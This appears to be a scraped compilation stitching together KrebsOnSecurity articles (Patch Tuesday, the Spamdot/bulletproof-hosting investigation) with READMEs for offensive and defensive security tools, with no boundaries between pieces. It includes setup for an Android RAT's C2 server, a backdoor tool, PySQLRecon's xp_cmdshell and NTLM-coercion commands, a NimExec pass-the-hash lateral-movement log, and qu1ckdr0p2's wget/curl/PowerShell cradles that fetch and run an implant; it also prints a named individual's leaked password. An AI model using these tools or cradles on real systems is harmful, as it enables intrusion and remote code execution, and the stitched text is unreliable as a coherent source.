“This along with many other AI attacks in recent news shows a potential new attack surface that we are just learning how to mitigate against,” McCarthy said. “Microsoft has updated their backend and notified any customers who have been affected by the credential leakage.”
CVE-2024-29988 is a weakness that allows attackers to bypass Windows SmartScreen, a technology Microsoft designed to provide additional protections for end users against phishing and malware attacks. Childs said one of ZDI’s researchers found this vulnerability being exploited in the wild, although Microsoft doesn’t currently list CVE-2024-29988 as being exploited.
“I would treat this as in the wild until Microsoft clarifies,” Childs said. “The bug itself acts much like CVE-2024-21412 – a [zero-day threat from February] that bypassed the Mark of the Web feature and allows malware to execute on a target system. Threat actors are sending exploits in a zipped file to evade EDR/NDR detection and then using this bug (and others) to bypass Mark of the Web.”
Update, 7:46 p.m. ET: A previous version of this story said there were no zero-day vulnerabilities fixed this month. BleepingComputer reports that Microsoft has since confirmed that there are actually two zero-days. One is the flaw Childs just mentioned (CVE-2024-21412), and the other is CVE-2024-26234, described as a “proxy driver spoofing” weakness.
Satnam Narang at Tenable notes that this month’s release includes fixes for two dozen flaws in Windows Secure Boot, the majority of which are considered “Exploitation Less Likely” according to Microsoft.
“However, the last time Microsoft patched a flaw in Windows Secure Boot in May 2023 had a notable impact as it was exploited in the wild and linked to the BlackLotus UEFI bootkit, which was sold on dark web forums for $5,000,” Narang said. “BlackLotus can bypass functionality called secure boot, which is designed to block malware from being able to load when booting up. While none of these Secure Boot vulnerabilities addressed this month were exploited in the wild, they serve as a reminder that flaws in Secure Boot persist, and we could see more malicious activity related to Secure Boot in the future.”
For links to individual security advisories indexed by severity, check out ZDI’s blog and the Patch Tuesday post from the SANS Internet Storm Center. Please consider backing up your data or your drive before updating, and drop a note in the comments here if you experience any issues applying these fixes.
Adobe today released nine patches tackling at least two dozen vulnerabilities in a range of software products, including Adobe After Effects, Photoshop, Commerce, InDesign, Experience Manager, Media Encoder, Bridge, Illustrator, and Adobe Animate.
KrebsOnSecurity needs to correct the record on a point mentioned at the end of March’s “Fat Patch Tuesday” post, which looked at new AI capabilities built into Adobe Acrobat that are turned on by default. Adobe has since clarified that its apps won’t use AI to auto-scan your documents, as the original language in its FAQ suggested.
“In practice, no document scanning or analysis occurs unless a user actively engages with the AI features by agreeing to the terms, opening a document, and selecting the AI Assistant or generative summary buttons for that specific document,” Adobe said earlier this month.
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Remote adminitration tool for android
console git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ and install dependencies console mv moukthar/Server/* /var/www/html/ cd /var/www/html/c2-server composer install cd /var/www/html/web\ socket/ composer install The default credentials are username: android and password: the rastafarian in you
c2-server/.env and web socket/.env
database.sql
console php Server/web\ socket/App.php # OR sudo mv Server/websocket.service /etc/systemd/system/ sudo systemctl daemon-reload sudo systemctl enable websocket.service sudo systemctl start websocket.service
/etc/apache2/apache2.conf xml <Directory /var/www/html/c2-server> Options -Indexes DirectoryIndex app.php AllowOverride All Require all granted </Directory>
functionality/Utils.java ```java public static final String C2_SERVER = "http://localhost";public static final String WEB_SOCKET_SERVER = "ws://localhost:8080"; ``` - Compile APK using Android Studio and deploy to target
BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.
This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.
To set up BackdoorSim, you will need to install it on both the server and client machines.
shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git
shell $ cd BackDoorSim
shell $ pip install -r requirements.txt
After starting both the server and client, you can use the following commands in the server's command prompt:
upload [file_path]: Upload a file to the client.download [file_path]: Download a file from the client.screenshot: Capture a screenshot from the client.sysinfo: Get system information from the client.securityinfo: Get security software status from the client.camshot: Capture an image from the client's webcam.notify [title] [message]: Send a notification to the client.help: Display the help menu.BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.
If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool
If you want to read our article about Backdoor
Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.
For any inquiries or further information, you can reach me through the following channels:
Find authentication (authn) and authorization (authz) security bugs in web application routes:
Web application HTTP route authn and authz bugs are some of the most common security issues found today. These industry standard resources highlight the severity of the issue:
Supported web frameworks (route-detect IDs in parentheses):
django, django-rest-framework), Flask (flask), Sanic (sanic)laravel), Symfony (symfony), CakePHP (cakephp)rails), Grape (grape)jax-rs), Spring (spring)gorilla), Gin (gin), Chi (chi)express), React (react), Angular (angular)*Rails support is limited. Please see this issue for more information.
Use pip to install route-detect:
$ python -m pip install --upgrade route-detect
You can check that route-detect is installed correctly with the following command:
$ echo 'print(1 == 1)' | semgrep --config $(routes which test-route-detect) -
Scanning 1 file.
Findings:
/tmp/stdin
routes.rules.test-route-detect
Found '1 == 1', your route-detect installation is working correctly
1┆ print(1 == 1)
Ran 1 rule on 1 file: 1 finding.
route-detect provides the routes CLI command and uses semgrep to search for routes.
Use the which subcommand to point semgrep at the correct web application rules:
$ semgrep --config $(routes which django) path/to/django/code
Use the viz subcommand to visualize route information in your browser:
$ semgrep --json --config $(routes which django) --output routes.json path/to/django/code
$ routes viz --browser routes.json
If you're not sure which framework to look for, you can use the special all ID to check everything:
$ semgrep --json --config $(routes which all) --output routes.json path/to/code
If you have custom authn or authz logic, you can copy route-detect's rules:
$ cp $(routes which django) my-django.yml
Then you can modify the rule as necessary and run it like above:
$ semgrep --json --config my-django.yml --output routes.json path/to/django/code
$ routes viz --browser routes.json
route-detect uses poetry for dependency and configuration management.
Before proceeding, install project dependencies with the following command:
$ poetry install --with dev
Lint all project files with the following command:
$ poetry run pre-commit run --all-files
Run Python tests with the following command:
$ poetry run pytest --cov
Run Semgrep rule tests with the following command:
$ poetry run semgrep --test --config routes/rules/ tests/test_rules/
In 2020, the United States brought charges against four men accused of building a bulletproof hosting empire that once dominated the Russian cybercrime industry and supported multiple organized cybercrime groups. All four pleaded guilty to conspiracy and racketeering charges. But there is a fascinating and untold backstory behind the two Russian men involved, who co-ran the world’s top spam forum and worked closely with Russia’s most dangerous cybercriminals.
From January 2005 to April 2013, there were two primary administrators of the cybercrime forum Spamdot (a.k.a Spamit), an invite-only community for Russian-speaking people in the businesses of sending spam and building botnets of infected computers to relay said spam. The Spamdot admins went by the nicknames Icamis (a.k.a. Ika), and Salomon (a.k.a. Sal).
Spamdot forum administrator “Ika” a.k.a. “Icamis” responds to a message from “Tarelka,” the botmaster behind the Rustock botnet. Dmsell said: “I’m actually very glad that I switched to legal spam mailing,” prompting Tarelka and Ika to scoff.
As detailed in my 2014 book, Spam Nation, Spamdot was home to crooks controlling some of the world’s nastiest botnets, global malware contagions that went by exotic names like Rustock, Cutwail, Mega-D, Festi, Waledac, and Grum.
Icamis and Sal were in daily communications with these botmasters, via the Spamdot forum and private messages. Collectively in control over millions of spam-spewing zombies, those botmasters also continuously harvested passwords and other data from infected machines.
As we’ll see in a moment, Salomon is now behind bars, in part because he helped to rob dozens of small businesses in the United States using some of those same harvested passwords. He is currently housed in a federal prison in Michigan, serving the final stretch of a 60-month sentence.
But the identity and whereabouts of Icamis have remained a mystery to this author until recently. For years, security experts — and indeed, many top cybercriminals in the Spamit affiliate program — have expressed the belief that Sal and Icamis were likely the same person using two different identities. And there were many good reasons to support this conclusion.
For example, in 2010 Spamdot and its spam affiliate program Spamit were hacked, and its user database shows Sal and Icamis often accessed the forum from the same Internet address — usually from Cherepovets, an industrial town situated approximately 230 miles north of Moscow. Also, it was common for Icamis to reply when Spamdot members communicated a request or complaint to Sal, and vice versa.
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Still, other clues suggested Icamis and Sal were two separate individuals. For starters, they frequently changed the status on their instant messenger clients at different times. Also, they each privately discussed with others having attended different universities.
KrebsOnSecurity began researching Icamis’s real-life identity in 2012, but failed to revisit any of that research until recently. In December 2023, KrebsOnSecurity published new details about the identity of “Rescator,” a Russian cybercriminal who is thought to be closely connected to the 2013 data breach at Target.
That story mentioned Rescator’s real-life identity was exposed by Icamis in April 2013, as part of a lengthy farewell letter Ika wrote to Spamdot members wherein Ika said he was closing the forum and quitting the cybercrime business entirely.
To no one’s shock, Icamis didn’t quit the business: He simply became more quiet and circumspect about his work, which increasingly was focused on helping crime groups siphon funds from U.S. bank accounts. But the Rescator story was a reminder that 10 years worth of research on who Ika/Icamis is in real life had been completely set aside. This post is an attempt to remedy that omission.
The farewell post from Ika (aka Icamis), the administrator of both the BlackSEO forum and Pustota, the successor forum to Spamit/Spamdot.
Icamis and Sal offered a comprehensive package of goods and services that any aspiring or accomplished spammer would need on a day-to-day basis: Virtually unlimited bulletproof domain registration and hosting services, as well as services that helped botmasters evade spam block lists generated by anti-spam groups like Spamhaus.org. Here’s snippet of Icamis’s ad on Spamdot from Aug. 2008, wherein he addresses forum members with the salutation, “Hello Gentlemen Scammers.”
We are glad to present you our services!
Many are already aware (and are our clients), but publicity is never superfluous.Domains.
– all major gtlds (com, net, org, info, biz)
– many interesting and uninteresting cctlds
– options for any topic
– processing of any quantities
– guarantees
– exceptionally low prices for domains for white and gray schemes (including any SEO and affiliate spam )
– control panel with balances and auto-registration
– all services under the Ikamis brand, proven over the years;)Servers.
– long-term partnerships with several [data centers] in several parts of the world for any topic
– your own data center (no longer in Russia ;)) for gray and white topics
– any configuration and any hardware
– your own IP networks (PI, not PA) and full legal support
– realtime backups to neutral sites
– guarantees and full responsibility for the services provided
– non-standard equipment on request
– our own admins to resolve any technical issues (services are free for clients)
– hosting (shared and vps) is also possibleNon-standard and related services.
– ssl certificates signed by geotrust and thawte
– old domains (any year, any quantity)
– beautiful domains (keyword, short, etc.)
– domains with indicators (any, for SEO, etc.)
– making unstable gtld domains stable
– interception and hijacking of custom domains (expensive)
– full domain posting via web.archive.org with restoration of native content (preliminary applications)
– any updates to our panels to suit your needs upon request (our own coders)All orders for the “Domains” sections and “Servers” are carried out during the day (depending on our workload).
For non-standard and related services, a preliminary application is required 30 days in advance (except for ssl certificates – within 24 hours).
Icamis and Sal frequently claimed that their service kept Spamhaus and other anti-spam groups several steps behind their operations. But it’s clear that those anti-spam operations had a real and painful impact on spam revenues, and Salomon was obsessed with striking back at anti-spam groups, particularly Spamhaus.
In 2007, Salomon collected more than $3,000 from botmasters affiliated with competing spam affiliate programs that wanted to see Spamhaus suffer, and the money was used to fund a week-long distributed denial-of-service (DDoS) attack against Spamhaus and its online infrastructure. But rather than divert their spam botnets from their normal activity and thereby decrease sales, the botmasters voted to create a new DDoS botnet by purchasing installations of DDoS malware on thousands of already-hacked PCs (at a rate of $25 per 1,000 installs).
As an affiliate of Spamdot, Salomon used the email address ad1@safe-mail.net, and the password 19871987gr. The breach tracking service Constella Intelligence found the password 19871987gr was used by the email address grichishkin@gmail.com. Multiple accounts are registered to that email address under the name Alexander Valerievich Grichishkin, from Cherepovets.
In 2020, Grichishkin was arrested outside of Russia on a warrant for providing bulletproof hosting services to cybercriminal gangs. The U.S. government said Grichishkin and three others set up the infrastructure used by cybercriminals between 2009 to 2015 to distribute malware and attack financial institutions and victims throughout the United States.
Those clients included crooks using malware like Zeus, SpyEye, Citadel and the Blackhole exploit kit to build botnets and steal banking credentials.
“The Organization and its members helped their clients to access computers without authorization, steal financial information (including banking credentials), and initiate unauthorized wire transfers from victims’ financial accounts,” the government’s complaint stated.
Grichishkin pleaded guilty to conspiracy charges and was sentenced to four years in prison. He is 36 years old, has a wife and kids in Thailand, and is slated for release on February 8, 2024.
The identity of Icamis came into view when KrebsOnSecurity began focusing on clues that might connect Icamis to Cherepovets (Ika’s apparent hometown based on the Internet addresses he regularly used to access Spamdot).
Historic domain ownership records from DomainTools.com reveal that many of the email addresses and domains connected to Icamis invoke the name “Andrew Artz,” including icamis[.]ws, icamis[.]ru, and icamis[.]biz. Icamis promoted his services in 2003 — such as bulk-domains[.]info — using the email address icamis@4host.info. From one of his ads in 2005:
Domains For Projects Advertised By Spam
I can register bulletproof domains for sites and projects advertised by spam(of course they must be legal). I can not provide DNS for u, only domains. The price will be:
65$ for domain[if u will buy less than 5 domains]
50$ for domain[more than 5 domains]
45$ for domain[more than 10 domains]
These prices are for domains in the .net & .com zones.
If u want to order domains write me to: icamis@4host.info
In 2009, an “Andrew Artz” registered at the hosting service FirstVDS.com using the email address icamis@4host.info, with a notation saying the company name attached to the account was “WMPay.” Likewise, the bulletproof domain service icamis[.]ws was registered to an Andrew Artz.
The domain wmpay.ru is registered to the phonetically similar name “Andrew Hertz,” at andrew@wmpay.ru. A search on “icamis.ru” in Google brings up a 2003 post by him on a discussion forum designed by and for students of Amtek, a secondary school in Cherepovets (Icamis was commenting from an Internet address in Cherepovets).
The website amtek-foreva-narod.ru is still online, and it links to several yearbooks for Amtek graduates. It states that the yearbook for the Amtek class of 2004 is hosted at 41.wmpay[.]com.
The yearbook photos for the Amtek class of 2004 are not indexed in the Wayback Machine at archive.org, but the names and nicknames of 16 students remain. However, it appears that the entry for one student — the Wmpay[.]com site administrator — was removed at some point.
In 2004, the administrator of the Amtek discussion forum — a 2003 graduate who used the handle “Grand” — observed that there were three people named Andrey who graduated from Amtek in 2004, but one of them was conspicuously absent from the yearbook at wmpay[.]ru: Andrey Skvortsov.
To bring this full circle, Icamis was Andrey Skvortsov, the other Russian man charged alongside Grichiskin (the two others who pleaded guilty to conspiracy charges were from Estonia and Lithuania). All of the defendants in that case pleaded guilty to conspiracy to engage in a Racketeer Influenced Corrupt Organization (RICO).
[Author’s note: No doubt government prosecutors had their own reasons for omitting the nicknames of the defendants in their press releases, but that information sure would have saved me a lot of time and effort].
Skvortsov was sentenced to time served, and presumably deported. His current whereabouts are unknown and he was not reachable for comment via his known contact addresses.
The government says Ika and Sal’s bulletproof hosting empire provided extensive support for a highly damaging cybercrime group known as the JabberZeus Crew, which worked closely with the author of the Zeus Trojan — Evgeniy Mikhailovich Bogachev — to develop a then-advanced strain of the Zeus malware that was designed to defeat one-time codes for authentication. Bogachev is a top Russian cybercriminal with a standing $3 million bounty on his head from the FBI.
The JabberZeus Crew stole money by constantly recruiting money mules, people in the United States and in Europe who could be enticed or tricked into forwarding money stolen from cybercrime victims. Interestingly, Icamis’s various email addresses are connected to websites for a vast network of phony technology companies that claimed they needed people with bank accounts to help pay their overseas employees.
Icamis used the email address tech@safe-mail.net on Spamdot, and this email address is tied to the registration records for multiple phony technology companies that were set up to recruit money mules.
One such site — sun-technology[.]net — advertised itself as a Hong Kong-based electronics firm that was looking for “honest, responsible and motivated people in UK, USA, AU and NZ to be Sales Representatives in your particular region and receive payments from our clients. Agent commission is 5 percent of total amount received to the personal bank account. You may use your existing bank account or open a new one for these purposes.”
In January 2010, KrebsOnSecurity broke the news that the JabberZeus crew had just used money mules to steal $500,000 from tiny Duanesburg Central School District in upstate New York. As part of his sentence, Skvortsov was ordered to pay $497,200 in restitution to the Duanesburg Central School District.
The JabberZeus Crew operated mainly out of the eastern Ukraine city of Donetsk, which was always pro-Russia and is now occupied by Russian forces. But when Russia invaded Ukraine in February 2022, the alleged leader of the notorious cybercrime gang — Vyacheslav Igoravich Andreev (a.ka. Penchukov) — fled his mandatory military service orders and was arrested in Geneva, Switzerland. He is currently in federal custody awaiting trial, and is slated to be arraigned in U.S. federal court tomorrow (Jan. 9, 2024). A copy of the indictment against Andreev is here (PDF).
Andreev, aka “Tank,” seen here performing as a DJ in Ukraine in an undated photo from social media.
PySQLRecon is a Python port of the awesome SQLRecon project by @sanjivkawa. See the commands section for a list of capabilities.
PySQLRecon can be installed with pip3 install pysqlrecon or by cloning this repository and running pip3 install .
All of the main modules from SQLRecon have equivalent commands. Commands noted with [PRIV] require elevated privileges or sysadmin rights to run. Alternatively, commands marked with [NORM] can likely be run by normal users and do not require elevated privileges.
Support for impersonation ([I]) or execution on linked servers ([L]) are denoted at the end of the command description.
adsi [PRIV] Obtain ADSI creds from ADSI linked server [I,L]
agentcmd [PRIV] Execute a system command using agent jobs [I,L]
agentstatus [PRIV] Enumerate SQL agent status and jobs [I,L]
checkrpc [NORM] Enumerate RPC status of linked servers [I,L]
clr [PRIV] Load and execute .NET assembly in a stored procedure [I,L]
columns [NORM] Enumerate columns within a table [I,L]
databases [NORM] Enumerate databases on a server [I,L]
disableclr [PRIV] Disable CLR integration [I,L]
disableole [PRIV] Disable OLE automation procedures [I,L]
disablerpc [PRIV] Disable RPC and RPC Out on linked server [I]
disablexp [PRIV] Disable xp_cmdshell [I,L]
enableclr [PRIV] Enable CLR integration [I,L]
enableole [PRIV] Enable OLE automation procedures [I,L]
enablerpc [PRIV] Enable RPC and RPC Out on linked server [I]
enablexp [PRIV] Enable xp_cmdshell [I,L]
impersonate [NORM] Enumerate users that can be impersonated
info [NORM] Gather information about the SQL server
links [NORM] Enumerate linked servers [I,L]
olecmd [PRIV] Execute a system command using OLE automation procedures [I,L]
query [NORM] Execute a custom SQL query [I,L]
rows [NORM] Get the count of rows in a table [I,L]
search [NORM] Search a table for a column name [I,L]
smb [NORM] Coerce NetNTLM auth via xp_dirtree [I,L]
tables [NORM] Enu merate tables within a database [I,L]
users [NORM] Enumerate users with database access [I,L]
whoami [NORM] Gather logged in user, mapped user and roles [I,L]
xpcmd [PRIV] Execute a system command using xp_cmdshell [I,L]
PySQLRecon has global options (available to any command), with some commands introducing additional flags. All global options must be specified before the command name:
pysqlrecon [GLOBAL_OPTS] COMMAND [COMMAND_OPTS]
View global options:
pysqlrecon --help
View command specific options:
pysqlrecon [GLOBAL_OPTS] COMMAND --help
Change the database authenticated to, or used in certain PySQLRecon commands (query, tables, columns rows), with the --database flag.
Target execution of a PySQLRecon command on a linked server (instead of the SQL server being authenticated to) using the --link flag.
Impersonate a user account while running a PySQLRecon command with the --impersonate flag.
--link and --impersonate and incompatible.
pysqlrecon uses Poetry to manage dependencies. Install from source and setup for development with:
git clone https://github.com/tw1sm/pysqlrecon
cd pysqlrecon
poetry install
poetry run pysqlrecon --help
PySQLRecon is easily extensible - see the template and instructions in resources
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
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.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .--- ----------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Welcome to CryptChat - where conversations remain truly private. Built on the robust Python ecosystem, our application ensures that every word you send is wrapped in layers of encryption. Whether you're discussing sensitive business details or sharing personal stories, CryptChat provides the sanctuary you need in the digital age. Dive in, and experience the next level of secure messaging!
Clone the repository:
git clone https://github.com/HalilDeniz/CryptoChat.gitNavigate to the project directory:
cd CryptoChatInstall the required dependencies:
pip install -r requirements.txt$ python3 server.py --help
usage: server.py [-h] [--host HOST] [--port PORT]
Start the chat server.
options:
-h, --help show this help message and exit
--host HOST The IP address to bind the server to.
--port PORT The port number to bind the server to.
--------------------------------------------------------------------------
$ python3 client.py --help
usage: client.py [-h] [--host HOST] [--port PORT]
Connect to the chat server.
options:
-h, --help show this help message and exit
--host HOST The server's IP address.
--port PORT The port number of the server.$ python3 serverE.py --help
usage: serverE.py [-h] [--host HOST] [--port PORT] [--key KEY]
Start the chat server.
options:
-h, --help show this help message and exit
--host HOST The IP address to bind the server to. (Default=0.0.0.0)
--port PORT The port number to bind the server to. (Default=12345)
--key KEY The secret key for encryption. (Default=mysecretpassword)
--------------------------------------------------------------------------
$ python3 clientE.py --help
usage: clientE.py [-h] [--host HOST] [--port PORT] [--key KEY]
Connect to the chat server.
options:
-h, --help show this help message and exit
--host HOST The IP address to bind the server to. (Default=127.0.0.1)
--port PORT The port number to bind the server to. (Default=12345)
--key KEY The secret key for encr yption. (Default=mysecretpassword)--help: show this help message and exit--host: The IP address to bind the server.--port: The port number to bind the server.--key : The secret key for encryptionContributions are welcome! If you find any issues or have suggestions for improvements, feel free to open an issue or submit a pull request.
If you have any questions, comments, or suggestions about CryptChat, please feel free to contact me:
Rapidly host payloads and post-exploitation bins over HTTP or HTTPS.
Designed to be used on exams like OSCP / PNPT or CTFs HTB / etc.
Pull requests and issues welcome. As are any contributions.
Qu1ckdr0p2 comes with an alias and search feature. The tools are located in the qu1ckdr0p2-tools repository. By default it will generate a self-signed certificate to use when using the --https option, priority is also given to the tun0 interface when the webserver is running, otherwise it will use eth0.
The common.ini defines the mapped aliases used within the --search and -u options.
When the webserver is running there are several download cradles printed to the screen to copy and paste.
pip3 install qu1ckdr0p2
echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc
or
echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc
serv init --update
$ serv serve -f implant.bin --https 443$ serv serve -f file.example --http 8080$ serv --help
Usage: serv [OPTIONS] COMMAND [ARGS]...
Welcome to qu1ckdr0p2 entry point.
Options:
--debug Enable debug mode.
--help Show this message and exit.
Commands:
init Perform updates.
serve Serve files.$ serv serve --help
Usage: serv serve [OPTIONS]
Serve files.
Options:
-l, --list List aliases
-s, --search TEXT Search query for aliases
-u, --use INTEGER Use an alias by a dynamic number
-f, --file FILE Serve a file
--http INTEGER Use HTTP with a custom port
--https INTEGER Use HTTPS with a custom port
-h, --help Show this message and exit.$ serv init --help
Usage: serv init [OPTIONS]
Perform updates.
Options:
--update Check and download missing tools.
--update-self Update the tool using pip.
--update-self-test Used for dev testing, installs unstable build.
--help Show this message and exit.$ serv init --update$ serv init --update-selfThe mapped alias numbers for the -u option are dynamic so you don't have to remember specific numbers or ever type out a tool name.
$ serv serve --search ligolo
[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1
[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2
[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3
[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)$ serv serve --search ligolo -u 3 --http 80
[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit
[→] URL: http://192.168.1.5:80/agent
[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'
[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent
[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent
⠧ Web server running
MIT
DNSWatch is a Python-based tool that allows you to sniff and analyze DNS (Domain Name System) traffic on your network. It listens to DNS requests and responses and provides insights into the DNS activity.
git clone https://github.com/HalilDeniz/DNSWatch.gitpip install -r requirements.txtpython dnswatch.py -i <interface> [-v] [-o <output_file>] [-k <target_ip>] [--analyze-dns-types] [--doh]
-i, --interface: Specify the network interface (e.g., eth0).-v, --verbose: Use this flag for more verbose output.-o, --output: Specify the filename to save results.-t, --target-ip: Specify a specific target IP address to monitor.-adt, --analyze-dns-types: Analyze DNS types.--doh: Use DNS over HTTPS (DoH) for resolving DNS requests.-fd, --target-domains: Filter DNS requests by specified domains.-d, --database: Enable database storage for DNS requests.Press Ctrl+C to stop the sniffing process.
python dnswatch.py -i eth0python dnswatch.py -i eth0 -o dns_results.txtpython dnswatch.py -i eth0 -k 192.168.1.100python dnswatch.py -i eth0 --analyze-dns-typespython dnswatch.py -i eth0 --dohpython3 dnswatch.py -i wlan0 --databaseDNSWatch is licensed under the MIT License. See the LICENSE file for details.
This tool is intended for educational and testing purposes only. It should not be used for any malicious activities.
Trawler is a PowerShell script designed to help Incident Responders discover potential indicators of compromise on Windows hosts, primarily focused on persistence mechanisms including Scheduled Tasks, Services, Registry Modifications, Startup Items, Binary Modifications and more.
Currently, trawler can detect most of the persistence techniques specifically called out by MITRE and Atomic Red Team with more detections being added on a regular basis.
Just download and run trawler.ps1 from an Administrative PowerShell/cmd prompt - any detections will be displayed in the console as well as written to a CSV ('detections.csv') in the current working directory. The generated CSV will contain Detection Name, Source, Risk, Metadata and the relevant MITRE Technique.
Or use this one-liner from an Administrative PowerShell terminal:
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/joeavanzato/Trawler/main/trawler.ps1'))
Certain detections have allow-lists built-in to help remove noise from default Windows configurations (10/2016/2019/2022) - expected Scheduled Tasks, Services, etc. Of course, it is always possible for attackers to hijack these directly and masquerade with great detail as a default OS process - take care to use multiple forms of analysis and detection when dealing with skillful adversaries.
If you have examples or ideas for additional detections, please feel free to submit an Issue or PR with relevant technical details/references - the code-base is a little messy right now and will be cleaned up over time.
Additionally, if you identify obvious false positives, please let me know by opening an issue or PR on GitHub! The obvious culprits for this will be non-standard COMs, Services or Tasks.
-scanoptions : Tab-through possible detections and select a sub-set using comma-delimited terms (eg. .\trawler.ps1 -scanoptions Services,Processes)
-hide : Suppress Detection output to console
-snapshot : Capture a "persistence snapshot" of the current system, defaulting to "$PSScriptRoot\snapshot.csv"
-snapshotpath : Define a custom file-path for saving snapshot output to.
-outpath : Define a custom file-path for saving detection output to (defaults to "$PSScriptRoot\detections.csv")
-loadsnapshot : Define the path for an existing snapshot file to load as an allow-list reference
-drivetarget : Define the variable for a mounted target drive (eg. .\trawler.ps1 -targetdrive "D:") - using this alone leads to an 'assumed homedrive' variable of C: for analysis purposes
PersistenceSniper is an awesome tool - I've used it heavily in the past - but there are a few key points that differentiate these utilities
Overall, these tools are extremely similar but approach the problem from slightly different angles - PersistenceSniper provides all information back to the analyst for review while Trawler tries to limit what is returned to only results that are likely to be potential adversary persistence mechanisms. As such, there is a possibility for false-negatives with trawler if an adversary completely mimics an allow-listed item.
Trawler supports loading an allow-list from a 'snapshot' - to do this requires two steps.
That's it - all relevant detections will then draw from the snapshot file as an allow-list to reduce noise and identify any potential changes to the base image that may have occurred.
(Allow-listing is implemented for most of the checks but not all - still being actively implemented)
Often during an investigation, analysts may end up mounting a new drive that represents an imaged Windows device - Trawler now partially supports scanning these mounted drives through the use of the '-drivetarget' parameter.
At runtime, Trawler will re-target temporary script-level variables for use in checking file-based artifacts and also will attempt to load relevant Registry Hives (HKLM\SOFTWARE, HKLM\SYSTEM, NTUSER.DATs, USRCLASS.DATs) underneath HKLM/HKU and prefixed by 'ANALYSIS_'. Trawler will also attempt to unload these temporarily loaded hives upon script completion.
As an example, if you have an image mounted at a location such as 'F:\Test' which contains the NTFS file system ('F:\Test\Windows', 'F:\Test\User', etc) then you can invoke trawler like below;
.\trawler.ps1 -drivetarget "F:\Test"Please note that since trawler attempts to load the registry hive files from the drive in question, mapping a UNC path to a live remote device will NOT work as those files will not be accessible due to system locks. I am working on an approach which will handle live remote devices, stay tuned.
